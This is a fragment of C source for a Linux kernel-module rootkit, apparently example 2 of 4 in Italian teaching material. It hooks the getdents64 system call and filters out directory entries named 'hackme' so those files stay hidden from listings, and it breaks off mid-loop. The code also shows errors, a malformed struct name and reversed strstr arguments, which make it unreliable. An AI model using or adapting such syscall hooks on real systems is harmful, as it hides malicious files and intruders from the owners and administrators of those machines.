LKM
Esempio 2/4
long n_getdents64(unsigned int fd, struct linux_dirent64 *dirp,
                  unsigned int count) {
  struct linux_dirent 64 *dir, *ptr, *tmp, *prev = NULL;
  long i, rec = 0, ret;

  ret = (*o_getdents64)(fd, dirp, count);
  if(ret<=0) return ret;

  if((tmp = (struct linux_dirent64 *)kmalloc(ret, GFP_KERNEL)) == NULL)
    return ret;

  copy_from_user(tmp, dirp, ret);
  ptr = dir = tmp;
  i=ret;

  while(((unsigned long)dir) < (((unsigned long)tmp) + i)) {
    rec = dir->d_reclen;

    if(strstr("hackme",dir->d_name)) {
      if(!prev) {
        ret -= rec;